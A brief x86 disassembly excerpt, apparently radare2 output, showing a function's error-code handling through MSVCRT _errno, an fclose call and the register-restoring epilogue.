mov esi, dword [sym.imp.MSVCRT.dll__errno]
call esi
cmp dword [eax], 0
je 0x40d296
call esi
mov edi, dword [eax]
jmp 0x40d29b
mov edi, 0x3e7
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x124
ret